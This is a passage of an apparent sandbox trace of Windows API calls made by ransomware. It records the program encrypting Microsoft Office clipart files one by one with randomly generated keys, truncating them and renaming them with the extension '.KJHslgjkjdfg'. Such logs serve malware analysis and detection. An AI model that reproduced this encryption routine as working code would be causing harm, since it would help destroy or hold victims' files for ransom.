hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0181.989] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0181.989] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0xa, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0xa, lpOverlapped=0x0) returned 1 [0181.995] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0181.995] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0181.995] GetProcessHeap () returned 0x2a0000 [0181.995] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0181.995] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0181.995] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0181.995] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0181.996] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0181.996] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0181.996] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0181.996] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0181.996] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0181.996] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0181.996] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0181.996] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0181.996] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x4b56, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x4b56, lpOverlapped=0x0) returned 1 [0182.002] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x4b60, dwBufLen=0x4b60 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x4b60) returned 1 [0182.002] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0182.002] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x4b60, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x4b60, lpOverlapped=0x0) returned 1 [0182.003] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0182.003] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x4c34, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0182.003] SetEndOfFile (hFile=0x114) returned 1 [0182.005] GetProcessHeap () returned 0x2a0000 [0182.005] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0182.005] GetProcessHeap () returned 0x2a0000 [0182.005] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0182.005] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0292286.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0292286.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0292286.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0292286.wmf.kjhslgjkjdfg")) returned 1 [0182.007] CloseHandle (hObject=0x114) returned 1 [0182.007] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6613c7b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x12a6, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0293800.WMF", cAlternateFileName="")) returned 1 [0182.007] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0293800.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0293800.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0182.007] GetProcessHeap () returned 0x2a0000 [0182.007] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0182.008] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0182.008] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0182.008] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0xa, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0xa, lpOverlapped=0x0) returned 1 [0182.023] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0182.023] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0182.024] GetProcessHeap () returned 0x2a0000 [0182.024] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0182.024] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0182.024] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0182.024] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0182.024] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0182.024] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0182.024] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0182.024] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0182.024] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0182.024] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0182.025] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0182.025] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0182.025] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x12a6, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x12a6, lpOverlapped=0x0) returned 1 [0182.026] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x12b0, dwBufLen=0x12b0 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x12b0) returned 1 [0182.026] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0182.026] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x12b0, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x12b0, lpOverlapped=0x0) returned 1 [0182.026] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0182.026] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x1384, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0182.026] SetEndOfFile (hFile=0x114) returned 1 [0182.029] GetProcessHeap () returned 0x2a0000 [0182.029] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0182.029] GetProcessHeap () returned 0x2a0000 [0182.029] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0182.029] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0293800.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0293800.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0293800.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0293800.wmf.kjhslgjkjdfg")) returned 1 [0182.031] CloseHandle (hObject=0x114) returned 1 [0182.031] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6613c7b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x17be, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0293832.WMF", cAlternateFileName="")) returned 1 [0182.031] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0293832.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0293832.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0182.033] GetProcessHeap () returned 0x2a0000 [0182.033] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0182.033] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0182.033] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0182.033] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x2, lpOverlapped=0x0) returned 1 [0182.040] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0182.040] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0182.040] GetProcessHeap () returned 0x2a0000 [0182.040] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0182.040] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0182.041] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0182.041] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0182.041] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0182.041] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0182.041] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0182.041] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0182.041] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0182.041] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0182.041] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0182.041] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0182.041] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x17be, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x17be, lpOverlapped=0x0) returned 1 [0182.047] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x17c0, dwBufLen=0x17c0 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x17c0) returned 1 [0182.047] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0182.047] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x17c0, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x17c0, lpOverlapped=0x0) returned 1 [0182.047] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0182.047] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x1894, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0182.047] SetEndOfFile (hFile=0x114) returned 1 [0182.050] GetProcessHeap () returned 0x2a0000 [0182.050] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0182.050] GetProcessHeap () returned 0x2a0000 [0182.050] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0182.050] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0293832.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0293832.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0293832.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0293832.wmf.kjhslgjkjdfg")) returned 1 [0182.057] CloseHandle (hObject=0x114) returned 1 [0182.057] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x566b3c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x37de, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0294989.WMF", cAlternateFileName="")) returned 1 [0182.057] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0294989.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0294989.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0182.059] GetProcessHeap () returned 0x2a0000 [0182.059] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0182.059] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0182.059] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0182.059] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x2, lpOverlapped=0x0) returned 1 [0182.403] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0182.403] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0182.403] GetProcessHeap () returned 0x2a0000 [0182.403] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0182.403] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0182.403] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0182.403] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0182.403] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0182.403] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0182.403] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0182.403] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0182.404] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0182.404] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0182.404] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0182.404] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0182.404] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x37de, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x37de, lpOverlapped=0x0) returned 1 [0182.562] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x37e0, dwBufLen=0x37e0 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x37e0) returned 1 [0182.562] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0182.562] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x37e0, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x37e0, lpOverlapped=0x0) returned 1 [0182.562] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0182.562] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x38b4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0182.562] SetEndOfFile (hFile=0x114) returned 1 [0182.565] GetProcessHeap () returned 0x2a0000 [0182.565] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0182.565] GetProcessHeap () returned 0x2a0000 [0182.565] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0182.565] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0294989.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0294989.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0294989.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0294989.wmf.kjhslgjkjdfg")) returned 1 [0182.567] CloseHandle (hObject=0x114) returned 1 [0182.567] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x566b3c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x6180, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0294991.WMF", cAlternateFileName="")) returned 1 [0182.567] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0294991.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0294991.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0182.568] GetProcessHeap () returned 0x2a0000 [0182.568] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0182.568] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0182.568] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0182.568] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0182.568] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0182.569] GetProcessHeap () returned 0x2a0000 [0182.569] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0182.569] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0182.569] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0182.569] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0182.616] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0182.616] 